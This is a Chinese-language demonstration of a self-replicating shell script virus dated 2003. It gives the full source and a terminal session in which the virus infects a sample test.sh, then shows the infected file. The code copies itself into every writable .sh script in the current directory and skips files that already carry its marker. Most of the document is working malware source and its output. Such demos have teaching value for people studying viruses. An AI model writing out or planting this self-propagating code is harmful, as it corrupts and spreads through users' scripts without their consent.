#!/bin/sh#文件名:virus_demo.sh#用途:shell病毒演示。#说明:病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。#编写:watercloud@xfocus.org#日期:2003-5-13#B:<+!a%C&t:> vFile=$_ ; vTmp=/tmp/.vTmp.$$ for f in ./*.sh; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep "<+!a%C&t:>" $f ; then continue; fi if sed -n "1p" $f | grep "csh"; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk "$0~/(^*#)|(^*$)/&&v==NR-1{v++}END{print 0+v}" $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n "/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p" $vFile ;echo ) >>$f vNo=`expr $vNo + 1` sed -n "${vNo},$p" $vTmp >>$f rm -f $vTmp done >/dev/null 2>&1 unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> #EOF
[cloud@ /export/home/cloud/vir]> cat test.sh #!/bin/sh # Just a demo for virus test # Author : foo # Date : 3000-1-1 ls -l #EOF
好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh Hi, here is a demo shell virus in your script !
来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh #!/bin/sh # Just a demo for virus test # Author : foo # Date : 3000-1-1 #B:<+!a%C&t:> vFile=$_ ; vTmp=/tmp/.vTmp.$$ for f in ./*.sh; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep "<+!a%C&t:>" $f ; then continue; fi if sed -n "1p" $f | grep "csh"; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk "$0~/(^*#)|(^*$)/&&v==NR-1{v++}END{print 0+v}" $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n "/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p" $vFile ;echo ) >>$f vNo=`expr $vNo + 1` sed -n "${vNo},$p" $vTmp >>$f rm -f $vTmp done >/dev/null 2>&1 unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> ls -l #EOF